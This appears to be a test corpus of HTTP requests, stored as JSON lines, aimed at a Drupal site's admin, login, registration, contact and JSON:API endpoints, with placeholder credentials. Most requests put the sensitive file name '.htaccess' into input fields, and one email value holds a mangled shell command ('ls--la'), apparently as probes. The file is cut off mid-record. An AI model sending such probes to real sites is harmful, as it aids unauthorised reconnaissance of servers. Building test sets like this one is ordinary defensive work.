{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=.htaccess&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=.htaccess&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \".htaccess\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=.htaccess&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=.htaccess&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GSm8BZcaqC2oMD0ss2FLRrO7emC2Tk555Tl2-yqMDSc&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yF5zyquuedtxdGI3ewxQBnBb1LBkUhTFaEgI7Ecz0gw&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-5bArh5towO4oOBS-LIH1R8r8x_d3EdGh4BjmTmwdEE4&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=.htaccess&body%5B0%5D%5Bvalue%5D=%3Cp%3E.htaccess%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-CwIvpadrxAEPW4KJvATOVvytevY3_g-IzPU78-Abnc4&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=.htaccess&body%5B0%5D%5Bvalue%5D=%3Cp%3E.htaccess%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-ZgRgfU0UomrkDUUeKSF-XFs0OERMNCjqd3ntusnlEJ0&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-TyCu70S2J4pGKbDVvrkOHAUZ4DMIhBioTuPucHezJ4E&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=ls--la%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-RGdB8fxpsJLcBO_bnVSFq_dDSgGp9y4UkvBcULmEA6U&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=.htaccess&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=.htaccess&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-oawiR3_b82FmHmX3iUCg6bbyHUVliOpSnlCbE9gNfQ8&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=.htaccess%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=.htaccess&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \".htaccess\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \".htaccess\", \"description\": {\"value\": \".htaccess\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \".htaccess\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \".htaccess\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \".htaccess\"}}}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=Example-notes%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-OtF19PL07BZ_JRM8b_DdnnEKUnOQajB4f1jQJ23uop0&form_id=comment_comment_form&name=Visitor&mail=Example-notes%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-8R2N1x1pfqcr8GN713kyLpn0b-cTnNVN7ygqRRuLlQk&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-t_j-0Uo-nj9w4F3mal1sdrIJ6nRCz8WRLnWuvc4H7xU&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-eDv1dJ9TeQSCfn_qnOpucL9FZ80CWcj2DqoFZKweo6A&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=Example+notes&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yOLNU6YuuT3aI5dgvD7swHgArKGp4ZnsyTHfxuCE0rE&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": 